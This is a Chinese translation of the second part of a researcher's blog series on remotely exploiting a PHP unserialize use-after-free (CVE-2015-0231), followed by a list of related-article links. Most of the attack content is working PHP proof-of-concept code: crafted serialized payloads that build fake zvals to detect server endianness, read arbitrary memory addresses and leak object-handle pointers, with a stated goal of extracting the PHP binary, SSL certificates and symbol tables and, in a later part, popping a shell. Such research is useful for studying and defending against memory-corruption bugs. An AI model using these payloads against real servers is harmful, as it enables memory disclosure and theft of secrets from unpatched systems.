PHP中的記憶體破壞漏洞利用(CVE-2014-8142和CVE-2015-0231)(連載之第二篇)
0x00 前言
作者:Cigital公司的安全顧問Qsl1pknotp(Tim Michaud)
題目:Exploiting memory corruption bugs in PHP (CVE-2014-8142 and CVE-2015-0231) Part 2:Remote Exploitation
地址:http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in_23.html
上一部分中,我們找到了本地利用CVE-2014-8142和CVE-2015-0231的方法。在第二部分中,我們將進一步探討漏洞的遠端利用,並明確透過我們的方法到底能竊取到什麼有用資訊。本部分的研究是隻針對CVE-2015-0231的,至於CVE-2014-8142的遠端利用,其實讀者完全可以根據第一部分中的概述,自己做一些修改來完成。
0x01 PHP中 “序列化”特性應用
上一部分中我們講到,Esser給出的程式碼可以洩露一個攻擊者不可控的地址的資料。程式碼如下:
#!php
<?php
$data ='O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:39:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}';
$x = unserialize($data);
var_dump($x);
?>
source: StefanEsser_Original_LocalMemLeak.php
雖然上述程式碼是有用的,但是它沒有達到我們期待的效果!我們想要的是遠端洩露任意記憶體地址的資料,而不是基本上沒什麼作用的隨機地址資料。為了做到這一點,我們需要找到一種方法來完成以下兩個目標:
寫任意資料(確保PHP不崩潰)
讀任意資料(確保PHP不崩潰)
跟生活中的其他事情一樣,一次只解決一個問題往往要容易一些。因此,我們首先從完成目標1開始做起。其實我們是可以做到寫任何我們所需的資料的,因為傳送的是自己的object物件。然而,我們需要的是找到方法來寫有用的資訊,如下是我們上一回中講到的最後一個例子:
#!php
<?php
$fakezval = pack(
'IIII', //unsigned int
0x08048000, //address to leak
0x0000000f, //length of string
0x00000000, //refcount
0x00000006 //data type NULL=0,LONG=1,DOUBLE=2,BOOL=3,ARR=4,OBJ=5,STR=6,RES=7
);
//obj from original POC by @ion1c
$obj = 'O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:4:"AAAA";}';
$obj=unserialize($obj);
for($i = 0; $i < 5; $i++) { //this i value is larger than usually required
$v[$i]=$fakezval.$i; //repeat to overwrite
}
//due to the reference being overwritten by our loop above, leak memory
echo $obj->ccc;
?>
source:PHPLeak
這裡我們把關注重點放在$fakezval變數上。有沒有辦法可以在序列化物件中遠端寫該zval?(提示:這是php的一個“特性” :D!) (順便提醒下,千萬不要像我一樣的愚蠢而懶惰,一定要仔細地去讀所有的程式碼。在找到這部分如此明顯的程式碼之前,我就浪費了5、6個小時的時間。)
幸好,PHP中字串有一個“序列化”特性。序列化字串中的該特性允許我們序列化和反序列化二進位制資料。讓我們動手操作一個S物件,對序列化原理加深理解,並進一步學會如何利用該特性!
#!php
<?php
$data='a:1:{i:0;S:43:"\00\01\00\00AAAA\00\01\01\00\01\00\0B\BC\CC";}';
var_dump(serialize($data));
?>
source: SendBinaryData
接下來執行上述程式碼,我們可以看到一個奇怪結果:
其實這也沒什麼奇怪的,我們明顯是程式中寫錯了些什麼。為免大家捂臉悲嘆,本人直接提示了,這個錯誤肯定跟我們的S物件有關,你可以一個一個地數下$data的位元組數!是的,我也知道PHP的錯誤提示已經爛到了什麼都不提示的地步了……
在正常化的序列化字串中,例如s:3:”123”,整數3代表字串包含的字元數。而在上面的程式碼中,我們用的S:43:"\00\01\00\00AAAA\00\01\01\00\01\00\0B\BC\CC"中也有一個整數(43),應該同樣表示字串的長度,對嗎?
其實並非如此。我們這裡想要的不是一個文字字串,而是可以使PHP直譯器按二進位制資料來解析的二進位制字串,而這裡的字串也並非43個位元組,而是17個位元組。那麼將43改為17試一下。
這下好了!那麼為什麼要用17呢?每一個\xx會被當做一個字元,這樣我們的字串中就有13個字元了,而“AAAA”會被當做正常的字元來解析,因此長度需要再加4。簡言之,每一個\xx“三元組”被當做是一個字元。Ok,現在我們可以傳送該字串,但是我們該如何從直譯器中獲取想要資訊呢?
在可以洩露任意地址之前,讓我們一起再多學習下伺服器本身,這會有助於我們寫出更加可靠的利用程式(第三部分中詳述)。作為練手,我們學習下如何確定伺服器的位元組順序,這將需要使用一個偽裝的整型zval結構。 想法還是一樣的:
- 建立一個整型陣列
- 釋放掉剛建立的整型陣列
- 建立我們之前例子中的字串
- 指向我們之前釋放掉的整型陣列的引用地址
為什麼要使用整型zval而不是一個string?我們回想一下zval資料結構,整型看起來將如下所示:
我們來設定下整型的值
00 01 00 00 小尾方式下表示0x100 大尾方式下表示0x1000
將接下來的8個位元組使用0x41填充
41 41 41 41(或AAAA)
接下來的8個位元組是引用計數
00 01 01 00
最後的8個位元組是01(代表整型型別),然後我們將剩下的位元組填充為垃圾數
01 00 bc cc
把上述的放在一起,就得到了“S”的值!那麼如何透過上述的結構確定伺服器的位元組順序呢?在伺服器的響應中,如果返回0x100(256),就可以確定是小尾方式!如果返回的是65536,那麼就是大尾方式!確定位元組順序的完整php程式碼如下:
#!php
<?php
$data='O:8:"stdClass":4:{';
$data.='s:3:"123";a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;}';
$data.='s:3:"123";i:0;';
$data.='i:0;S:17:"\00\01\00\00AAAA\00\01\01\00\01\00\0B\BC\CC";';
$data.='i:1;r:12;}';
var_dump(serialize(unserialize($data)));
?>
source: determineEndianness
程式響應如下:
很好!現在我們已經能夠確定伺服器的位元組順序了!當然,我們真正想要的仍然是洩露任意資料。讓我們接著往下走,既然已經能夠洩露出我們所提供的資料了,那麼是不是有可能洩露出任意地址的資料呢?
0x02 任意地址資料洩露
本篇文章並未就此結束,因而我們的答案當然是肯定的!不過,這次我們需要的不再是整型的zval結構,而是字串型zval資料結構,結構如下:
設定指向字串資料的指標
00 80 04 08
設定我們想要獲得的字串長度(1024)
00 04 00 00
設定引用計數為非零
00 01 01 00
最後,設定資料型別為string型(06),其餘位元組設為垃圾數
06 00 0b bc
我們的新指令碼如下所示:
#!php
<?php
$data='O:8:"stdClass":4:{';
$data.='s:3:"123";a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;}';
$data.='s:3:"123";i:0;';
$data.='i:0;S:16:"\00\80\04\08\00\04\00\00\00\01\01\00\06\00\0B\BC";';
$data.='i:1;r:12;}';
var_dump(serialize(unserialize($data)));
?>
source: leakDataAtAddress
執行後的結果如下:
好極了!我們現在已經可以dump出任意地址的資料了,當然也要知道地址才行,而這是不實際的。那麼我們如何遠端來提取地址呢?當然我們可以使用上一回中給出的程式碼來洩露地址,但是洩露出來的地址並未指向重要資料。有沒有別的機制可以用來提取地址資訊呢?
0x03 地址資訊遠端提取
值得慶幸的是,確實有辦法來提取地址資訊!看下面的程式碼:
#!php
<?php
$data='O:8:"stdClass":6:{';
$data.='s:3:"123";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}';
$data.='s:3:"456";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}';
$data.='s:3:"456";i:1;';
$data.='s:3:"789";a:20:{i:100;O:8:"stdclass":0:{}i:0;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:101;O:8:"stdclass":0:{}i:1;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:102;O:8:"stdclass":0:{}i:2;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:103;O:8:"stdclass":0:{}i:3;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:104;O:8:"stdclass":0:{}i:4;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:105;O:8:"stdclass":0:{}i:5;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:106;O:8:"stdclass":0:{}i:6;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:107;O:8:"stdclass":0:{}i:7;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:108;O:8:"stdclass":0:{}i:8;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:109;O:8:"stdclass":0:{}i:9;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";}';
$data.='s:3:"789";i:0;';
$data.='i:1;r:56;}';
$data=serialize(unserialize($data));
var_dump($data);
?>
source: leakLegitimateAddress
執行後如下所示:
這是個相當大的陣列,需要分解來看。總體思路如下:
建立整型陣列#1 將會清空記憶體快取
建立整型陣列#2 填入變數表
釋放掉陣列#2 釋放掉變數表中的每個節點
建立一個混合了S物件的物件陣列
釋放掉物件陣列 見下面的解釋
指向已經釋放掉並且又被覆蓋了的陣列#2中的一個整型值
伺服器的響應中包將含有價值的資料
釋放掉物件陣列後,陣列中的前四個位元組就會被記憶體快取重寫(因此該記憶體重新變為可寫)。在這樣做時,字串指標(之前是0x41414141)現在就指向了之前被釋放的記憶體物件。得到的地址太多,這裡不一一列舉了,但不管如何,我們得到了合法的記憶體地址! 但是我們需要的是哪個地址呢?我們要找的是顯示有 “\x00\x00\x00\x00\x05\x00”的地址。這樣的地址是一個物件控制程式碼(資料段中的一個資料結構)地址。現在,我們可以讀取整個物件控制程式碼表,並獲取PHP程式碼段中的資訊(而這也正是我們感興趣的地方,因為我們下一回想要做的就是彈出一個shell)
下面是檢視PHP返回的16進位制資料的命令:
#!bash
cphp newLeak.php | xxd -ps | sed 's/[[:xdigit:]]\{2\}/\\x&/g'
執行命令,我們用grep查詢“\x00\x00\x00\x00\x05\x00”,得到如下地址:
如果在GDB中載入執行,我們也可以看到這個地址實際上是指向我們物件控制程式碼的一個指標。提醒:執行前別忘記下斷點(我是在var_unserializer.c:337中設了一個)。
我們看到的如下所示:
在慶祝之前,讓我們先確認下這些控制程式碼指向的確實是有用的東西,就看第一個入口點吧:0x0830a640。下面是該地址儲存的資料:
好極了!我們現在已經可以看到任何我們想要的資料了!
0x04 可竊取資訊
總結一下,透過結合上述的這些方法,我們就可以獲取到: 完整的PHP二進位制可執行檔案本身(包括其資料) SSL Certs(透過mod_ssl) PHP符號表 別的模組的地址(及其資料)
0x05 下一步研究
第三部分中,我們將探討如何彈出一個Shell!該技術也可用於CVE-2015-0273,以及其他的PHP UAF漏洞利用中。
PS:第三部分的釋出需要一點時間,因為要完成進一步的利用還需要對PHP做深入的研究(包括閱讀一些資料),但是本人保證一定完成,絕不太監,敬請繼續關注。
相關文章
- PHP中的記憶體破壞漏洞利用(CVE-2014-8142和CVE-2015-0231)(連載之第一篇)2020-08-19PHP記憶體
- 黑客通過利用 ERP 漏洞破壞了 62 所美國大學2019-07-22黑客
- 黑客通過利用ERP漏洞破壞了62所美國大學2019-07-22黑客
- 微軟發現一個 ChromeOS 遠端記憶體損壞漏洞2022-11-19微軟Chrome記憶體
- CWE公佈最新25個危險軟體漏洞列表 記憶體損壞漏洞居首位2021-07-26記憶體
- JavaScript之記憶體溢位和記憶體洩漏2019-03-15JavaScript記憶體溢位
- PHP 的自帶記憶體共享 APCu 和 shm2019-07-24PHP記憶體
- 什麼是Java記憶體模型(JMM)中的主記憶體和本地記憶體?2024-07-30Java記憶體模型
- 【記憶體洩漏和記憶體溢位】JavaScript之深入淺出理解記憶體洩漏和記憶體溢位2024-11-06記憶體溢位JavaScript
- 剖析記憶體中的程式之祕2018-03-04記憶體
- 記憶體安全週報第102期 | 威脅行為者利用PrestaShop中的0day漏洞2022-08-01記憶體REST
- JS中的棧記憶體、堆記憶體2019-02-23JS記憶體
- 深信服EDR快速釋出Windows condrv.sys記憶體損壞漏洞防護2021-01-21Windows記憶體
- linux記憶體管理(一)實體記憶體的組織和記憶體分配2024-06-07Linux記憶體
- 學術成果|安芯網盾《基於記憶體保護技術的二進位制記憶體破壞型漏洞攻擊防護方法研究》論文入選資訊保安研究期刊2022-07-15記憶體
- JVM中記憶體和GC的介紹2018-12-14JVM記憶體GC
- 記憶體安全週報第109期 | 公共服務公告:WPGateway中的零日漏洞在野利用活躍2022-09-19記憶體Gateway
- 畫江湖之 PHP 多程式開發 [程式中如何通訊 共享記憶體]2019-04-02PHP記憶體
- 畫江湖之 PHP 多程式開發 【程式中如何通訊 共享記憶體】2019-04-02PHP記憶體
- [轉載] Java直接記憶體與堆記憶體2018-05-11Java記憶體
- 破壞雙親委派模型和自定義自己的類載入器2018-04-25模型
- JavaScript中的垃圾回收和記憶體洩漏2019-03-03JavaScript記憶體
- NIO的JVM記憶體和機器記憶體的選擇2019-03-18JVM記憶體
- Java記憶體區域和記憶體模型2019-04-08Java記憶體模型
- 直接記憶體和堆記憶體誰快2018-05-30記憶體
- 記憶體溢位和記憶體洩露2022-11-30記憶體溢位記憶體洩露
- 關於 PHP 記憶體溢位的思考2019-09-26PHP記憶體溢位
- PHP 獲取程式碼執行時間和消耗的記憶體2020-03-10PHP記憶體
- C#--得到物件在記憶體中的大小和把記憶體中的位元組轉換為字串2024-12-02C#物件記憶體字串
- PHP 記憶體洩漏分析定位2018-03-13PHP記憶體
- 記憶體安全週報第95期 | 攻擊者積極利用Atlassian Confluence中的嚴重0day漏洞2022-06-13記憶體
- 記憶體管理兩部曲之實體記憶體管理2021-05-22記憶體
- 避免PHP-FPM記憶體洩漏導致記憶體耗盡2019-05-14PHP記憶體
- windows10系統使用自帶記憶體檢測工具檢測記憶體好壞的方法2022-03-10Windows記憶體
- 深夜除錯某瀏覽器記憶體損壞的小記錄2020-08-19除錯瀏覽器記憶體
- php實現共享記憶體程式通訊函式之_shm2018-06-06PHP記憶體函式
- AntDB記憶體管理之記憶體上下文之記憶體上下文機制是怎麼實現的2024-01-08記憶體
- Java的記憶體管理機制之記憶體區域劃分2018-08-23Java記憶體